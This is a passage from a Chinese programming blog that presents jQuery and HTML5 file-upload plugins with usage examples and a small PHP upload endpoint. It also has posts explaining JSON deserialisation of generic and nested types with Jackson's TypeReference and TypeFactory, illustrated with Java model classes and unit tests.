        } else if (typeof data === 'string') {
            $.each(data.split('&'), function() {
                var param = $.map(this.split('='), function(v) {
                    return decodeURIComponent(v.replace(/\+/g, ' '));
                });

                add(param[0], param[1]);
            });
        }

        return params;
    }

    function handleResponse(response, expectedType) {
        if (typeof response !== 'string') {
            return false;
        }
        try {
            return jQuery.parseJSON(response);
        } catch (e) {
            return false;
        }
    }

})(jQuery);

用法:

$('#input_id_or_.wrap_class').upload('upload_url', 'json', function(responseObj){}, function(errorMsg){})

expectedType目前只支持json,余甚至想从参数列中去掉它了,对余来说,支持json就足够。处理成功的回调函数的参数是解析后的javascript对象,处理失败的回调函数的参数是失败信息的原始字符串,这两点一定要注意。

具体例子(注意input的name属性一定要和服务器端一致):

<div>
    <input type="file" id="upload-file" class="form-wrap" name="file">
    <span id="upload-status" class="form-wrap">Please select a file.</span>
</div>
<div class="main">
    <div class="left">Name:</div>
    <div class="right" id="result-name"></div>
    <div class="clear"></div>
    <div class="left">Type:</div>
    <div class="right" id="result-type"></div>
    <div class="clear"></div>
    <div class="left">Size:</div>
    <div class="right" id="result-size"></div>
    <div class="clear"></div>
</div>
$(function(){
    $('#upload-file').change(function(){
        if (!$(this).val()) {
            $('#upload-status').text('Please select a file.');
            $('#result-name').text('');
            $('#result-type').text('');
            $('#result-size').text('');
            return;
        }
        $('#upload-status').html('<img src="wait.gif"> Uploading...');
        $('.form-wrap').upload('upload_file.php', 'json',
            function(responseObj){
                $('#upload-status').text('Upload finished.');
                $('#result-name').text(responseObj.Name);
                $('#result-type').text(responseObj.Type);
                $('#result-size').text(responseObj.Size);
            }, function(errorMsg){
                $('#upload-status').text('Upload failed. Message from server: ' + errorMsg);
                $('#result-name').text('');
                $('#result-type').text('');
                $('#result-size').text('');
            }
        );
    });
});

余写的HTML5上传插件,很简单的代码。使用了FormData对象以及input的files属性,支持IE10/Chrome/Firefox。
响应仅支持json格式,支持多文件上传(没测试),支持处理上传进度。onSuccess和onFailure的参数同上,onProgress的参数为浏览器内置对象event

/*
 * html5 file upload.
 * by kuyur (https://kuyur.net)
 */
(function($) {
    /*
     * multiple-files upload supported.
     * Default file-field will be "file{n} if they are not set."
     */
    $.fn.upload5 = function(url, onSuccess, onFailure, onProgress) {
        if (typeof FormData === 'undefined') {
            return;
        }
        var inputs = this,
            form = new FormData(),
            count = 0;
        inputs.each(function(index) {
            var el = this;
            if (el.files && el.files.length > 0) {
                form.append(el.name || 'file'+index, el.files[0]);
                count++;
            }
        });
        if (count > 0) {
            var xhr = new XMLHttpRequest();
            xhr.open("post", url, true);
            if (typeof onProgress === "function") {
                xhr.upload.onprogress = onProgress;
            }
            xhr.onreadystatechange = function() {
                var me = this;
                if (me.readyState == 4) {
                    if (me.status >= 200 && me.status < 300) {
                        onSuccess($.parseJSON(me.responseText));
                    } else {
                        onFailure(me.responseText);
                    }
                }
            };
            xhr.send(form);
        }
    };
})(jQuery);

例子(注意input的name属性一定要和服务器端一致):

<div>
    <input type="file" id="upload-file-html5" name="file">
    <span id="upload-status-html5">Please select a file.</span>
</div>
<div class="main">
    <div class="left">Upload status:</div>
    <div class="right" id="result-uploadstatus-html5"></div>
    <div class="clear"></div>
    <div class="left">Name:</div>
    <div class="right" id="result-name-html5"></div>
    <div class="clear"></div>
    <div class="left">Type:</div>
    <div class="right" id="result-type-html5"></div>
    <div class="clear"></div>
    <div class="left">Size:</div>
    <div class="right" id="result-size-html5"></div>
    <div class="clear"></div>
</div>
$(function(){
    $('#upload-file-html5').change(function() {
        if (!$(this).val()) {
            $('#upload-status-html5').text('Please select a file.');
            $('#result-uploadstatus-html5').text('');
            $('#result-name-html5').text('');
            $('#result-type-html5').text('');
            $('#result-size-html5').text('');
            return;
        }
        $('#upload-status-html5').html('<img src="wait.gif"> Uploading...');
        $('#upload-file-html5').upload5('upload_file.php',
            function(responseObj){
                $('#upload-status-html5').text('Upload finished.');
                $('#result-name-html5').text(responseObj.Name);
                $('#result-type-html5').text(responseObj.Type);
                $('#result-size-html5').text(responseObj.Size);
            }, function(errorMsg){
                $('#upload-status-html5').text('Upload failed. Message from server: ' + errorMsg);
                $('#result-uploadstatus-html5').text('');
                $('#result-name-html5').text('');
                $('#result-type-html5').text('');
                $('#result-size-html5').text('');
            }, function(event) {
                if (event.lengthComputable) {
                    var completed = (event.loaded / event.total * 100 | 0) + "%";
                    $('#result-uploadstatus-html5').text(completed);
                }
            }
        );
    });
});

用PHP写的一个简单服务器端:

<?php
/*
 * A simple file server demo.
 * by kuyur(https://kuyur.net)
 */
$error_types = array(
1=>'The uploaded file exceeds the upload_max_filesize directive in php.ini.',
'The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form.',
'The uploaded file was only partially uploaded.',
'No file was uploaded.',
6=>'Missing a temporary folder.',
'Failed to write file to disk.',
'A PHP extension stopped the file upload.'
); 

if ($_SERVER['REQUEST_METHOD'] != 'POST') {
    header("HTTP/1.1 500 Internal Server Error");
    die('Error: Only post method allowed.');
}
if (empty($_FILES["file"])) {
    header("HTTP/1.1 500 Internal Server Error");
    die('Error: File field should name as "file". Or you may need to check post_max_size in php.ini.');
}
if ($_FILES["file"]["error"] > 0) {
    header("HTTP/1.1 500 Internal Server Error");
    die("Error: " . $error_types[$_FILES['file']['error']]);
} else {
    echo '{"Name": "' . $_FILES["file"]["name"] . '", "Type": "' . $_FILES["file"]["type"] . '", "Size": "' . number_format($_FILES["file"]["size"] / 1024, 1) . 'Kb"}';
}
?>

源码下载(压缩包内的jQuery的版本有点老,替换成新版应该也没问题)jquery-upload

7,911 次浏览 | 没有评论
2012年12月27日 | 归档于 程序

派生类嵌套父类或自包含的数据模型的JSON的反序列化

派生类嵌套父类的情况,Jackson只能做到有限支持。

考虑父类:

package info.kuyur.jsondemo.models;

public class Parent {

	private String name;

	public Parent() {
		super();
	}

	public Parent(String name) {
		super();
		this.name = name;
	}

	public String getName() {
		return name;
	}

	public void setName(String name) {
		this.name = name;
	}

	@Override
	public String toString() {
		return "Parent [name=" + name + "]";
	}
}

子类:

package info.kuyur.jsondemo.models;

public class Child extends Parent {

	private Integer age;
	private Parent parent;

	public Child() {
		super();
	}

	public Child(Integer age, Parent parent) {
		super();
		this.age = age;
		this.parent = parent;
	}

	public Integer getAge() {
		return age;
	}

	public void setAge(Integer age) {
		this.age = age;
	}

	public Parent getParent() {
		return parent;
	}

	public void setParent(Parent parent) {
		this.parent = parent;
	}

	@Override
	public String toString() {
		return "Child [age=" + age + ", parent=" + parent + ", name="
				+ getName() + "]";
	}
}

对于json:{"age":15,"parent":{"name":"parent-name"},"name":"child-name"},能反序列化

如果构建这么一个对象:

	@Test
	public void testToJsonString3() {
		Parent grandFather = new Parent("grand-father-name");
		Child father = new Child(35, grandFather);
		father.setName("father-name");
		Child child = new Child(15, father);
		child.setName("grand-child-name");
		String jsonString = Util.toJsonString(child, Child.class);
		System.out.println(jsonString);
	}

得到的json:{"age":15,"parent":{"age":35,"parent":{"name":"grand-father-name"},"name":"father-name"},"name":"grand-child-name"},则无法反序列化,因为Jackson并不知道parent实际上应该用Child的构造函数来构建,Jackson仍然会用Parent的构造函数来构建parent,由于字段"age":35无法忽略,于是抛出异常。

非继承的自包含,比如单向链表的节点,反序列化则没有问题。

package info.kuyur.jsondemo.models;

public class LinkedNode {

	private String nodeName;
	private LinkedNode nextNode;

	public LinkedNode() {
		super();
	}

	public String getNodeName() {
		return nodeName;
	}

	public void setNodeName(String nodeName) {
		this.nodeName = nodeName;
	}

	public LinkedNode getNextNode() {
		return nextNode;
	}

	public void setNextNode(LinkedNode nextNode) {
		this.nextNode = nextNode;
	}

	@Override
	public String toString() {
		return "LinkedNode [nodeName=" + nodeName + ", nextNode=" + nextNode
				+ "]";
	}
}

json:{"nodeName":"node1","nextNode":{"nodeName":"node2","nextNode":{"nodeName":"node3","nextNode":null}}}能反序列化成功。

归结到一点,还是要为Jackson提供足够的型信息。
派生类嵌套父类会导致歧义性,Jackson只会调用基类的构造函数构建成员,所以派生类嵌套父类不是值得推荐的数据组织方法。

7,995 次浏览 | 1 条评论
2012年12月19日 | 归档于 技术, 程序

Java泛型和JSON的反序列化(下)

上篇:https://kuyur.net/blog/archives/2729
中篇:https://kuyur.net/blog/archives/2772

中篇介绍了如何构造自己的参数化类型(ParameterizedType),但一步步构造还是嫌麻烦。
本篇介绍Jackson提供的【型】工具。

TypeReference是一个抽象类,但在使用它时却不需要实现任何方法。
例如获取Triple<User, Archive, Comment>的型:

Type tripleGenericType = new TypeReference<Triple<User, Archive, Comment>>(){}.getType();

TypeReference的源码:

package org.codehaus.jackson.type;

import java.lang.reflect.ParameterizedType;
import java.lang.reflect.Type;

public abstract class TypeReference<T>
    implements Comparable<TypeReference<T>>
{
    final Type _type;

    protected TypeReference()
    {
        Type superClass = getClass().getGenericSuperclass();
        if (superClass instanceof Class<?>) { // sanity check, should never happen
            throw new IllegalArgumentException("Internal error: TypeReference constructed without actual type information");
        }
        /* 22-Dec-2008, tatu: Not sure if this case is safe -- I suspect
         *   it is possible to make it fail?
         *   But let's deal with specifc
         *   case when we know an actual use case, and thereby suitable
         *   work arounds for valid case(s) and/or error to throw
         *   on invalid one(s).
         */
        _type = ((ParameterizedType) superClass).getActualTypeArguments()[0];
    }

    public Type getType() { return _type; }

    /**
     * The only reason we define this method (and require implementation
     * of <code>Comparable</code>) is to prevent constructing a
     * reference without type information.
     */
    public int compareTo(TypeReference<T> o) {
        // just need an implementation, not a good one... hence:
        return 0;
    }
}

TypeReference的构造函数用protected修饰,因此只能够由子类调用。

new TypeReference<Triple<User, Archive, Comment>>(){};

上面的代码构造了一个派生自TypeReference<Triple<User, Archive, Comment>>的匿名子类实例,
匿名子类在构造时,通过反射获取父类的参数化类型,也即TypeReference<Triple<User, Archive, Comment>>型,
再通过ParameterizedType的接口getActualTypeArguments(),获得Triple<User, Archive, Comment>型
(ParameterizedType的详细说明见中篇)

getGenericSuperclass()和getSuperclass()都是Class提供的方法,
如果匿名子类调用getSuperclass(),获得的将只是TypeReference.class,而不会包含泛型信息。

Type tripleGenericType = new TypeReference<Triple<User, Archive, Comment>>(){}.getType();实际上是下面代码的语法糖:

TypeReference<Triple<User, Archive, Comment>> object = new TypeReference<Triple<User, Archive, Comment>>(){};
Type superType = object.getClass().getGenericSuperclass();
Type tripleGenericType = ((ParameterizedType)superType).getActualTypeArguments()[0];

了解到getGenericSuperclass()可以获取参数化类型,于是我们可以继续玩一下:

	@Test
	public void testGetGenericSuperclass2() throws UnsupportedEncodingException {
		class ExtTriple extends Triple<User, Archive, Comment> {}
		Type tripleGenericType = ExtTriple.class.getGenericSuperclass();
		System.out.println(tripleGenericType);

		String jsonString = "{\"second\":{\"ID\":1000,\"标题\":\"18岁的那天\",\"正文\":\"18岁那天的早上...\",\"作者\":{\"mailAddress\":\"yi.tong@jianghu.com\",\"name\":\"一桶浆糊\"}},\"third\":{\"作者\":{\"mailAddress\":\"qian.qiu@wandai.com\",\"name\":\"铅球万袋\"},\"回复\":\"骚年よ、大志を抱け\"},\"first\":{\"mailAddress\":\"yi.tong@jianghu.com\",\"name\":\"一桶浆糊\"}}";
		ByteArrayInputStream bais = new ByteArrayInputStream(jsonString.getBytes("UTF-8"));
		Triple<User, Archive, Comment> triple = Util.readJsonFromStream(bais, tripleGenericType);
		System.out.println(triple.getFirst());
		System.out.println(triple.getSecond());
		System.out.println(triple.getThird());
	}

到这里Java泛型与JSON反序列化的冒险之旅已经接近尾声。

ObjectMapper重载了n+个readValue接口,其中有一组接口支持TypeReference。(但没有readValue接口直接支持Type。)
为Util添加一个静态转换函数:

public class Util {
	...
	public static <T> T readJsonFromString(String jsonString, TypeReference<T> typeRef) {
		ObjectMapper mapper = new ObjectMapper();
		try {
			return mapper.readValue(jsonString, typeRef);
		} catch (JsonParseException e) {
			throw new RuntimeException("Deserialize from JSON failed.", e);
		} catch (JsonMappingException e) {
			throw new RuntimeException("Deserialize from JSON failed.", e);
		} catch (IOException e) {
			throw new RuntimeException("Deserialize from JSON failed.", e);
		}
	}
|

使用很简单,构造一个TypeReference的匿名子类的对象作为参数传入:

	@Test
	public void testReadJsonFromString11() {
		String jsonString = "{\"1\" : {\"name\": \"铅球万袋\", \"mailAddress\": \"qian.qiu@wandai.com\"}, \"2\" : {\"name\": \"一桶浆糊\", \"mailAddress\": \"yi.tong@jianghu.com\"}}";
		Map<Integer, User> users = Util.readJsonFromString(jsonString, new TypeReference<Map<Integer, User>>(){});
		assertEquals(users.size(), 2);
		User user1 = users.get(Integer.valueOf(1));
		System.out.println(user1);
		User user2 = users.get(Integer.valueOf(2));
		System.out.println(user2);
	}

Jackson还定义了自己的【型】数据结构:JavaType,readValue接口同样支持这种【型】数据结构。

public <T> T readValue(String content, JavaType valueType)

如果阅读ObjectMapper的代码,就会发现【型】或者TypeReference最后都会转换为JavaType。
工厂类TypeFactory提供了静态转换方法。
于是继续为Util添加一个静态转换函数:

public class Util {
	...
	public static <T> T readJsonFromString(String jsonString, Type genericType) {
		ObjectMapper mapper = new ObjectMapper();
		try {
			return mapper.readValue(jsonString, TypeFactory.type(genericType));
		} catch (JsonParseException e) {
			throw new RuntimeException("Deserialize from JSON failed.", e);
		} catch (JsonMappingException e) {
			throw new RuntimeException("Deserialize from JSON failed.", e);
		} catch (IOException e) {
			throw new RuntimeException("Deserialize from JSON failed.", e);
		}
	}
|

使用:
(注意使用默认构造函数创建的ObjectMapper对象不支持JAXBAnnotation式的标签,必须为Archive添加JacksonAnnotation式的标签)

	@Test
	public void testReadJsonFromString18() throws UnsupportedEncodingException {
		class ExtTriple extends Triple<User, Archive, Comment> {}
		Type tripleGenericType = ExtTriple.class.getGenericSuperclass();

		String jsonString = "{\"second\":{\"ID\":1000,\"标题\":\"18岁的那天\",\"正文\":\"18岁那天的早上...\",\"作者\":{\"mailAddress\":\"yi.tong@jianghu.com\",\"name\":\"一桶浆糊\"}},\"third\":{\"作者\":{\"mailAddress\":\"qian.qiu@wandai.com\",\"name\":\"铅球万袋\"},\"回复\":\"骚年よ、大志を抱け\"},\"first\":{\"mailAddress\":\"yi.tong@jianghu.com\",\"name\":\"一桶浆糊\"}}";
		Triple<User, Archive, Comment> triple = Util.readJsonFromString(jsonString, tripleGenericType);
		System.out.println(triple.getFirst());
		System.out.println(triple.getSecond());
		System.out.println(triple.getThird());
	}

最后提供源码下载,内含一个不支持多线程的HttpClient Demo:jsondemo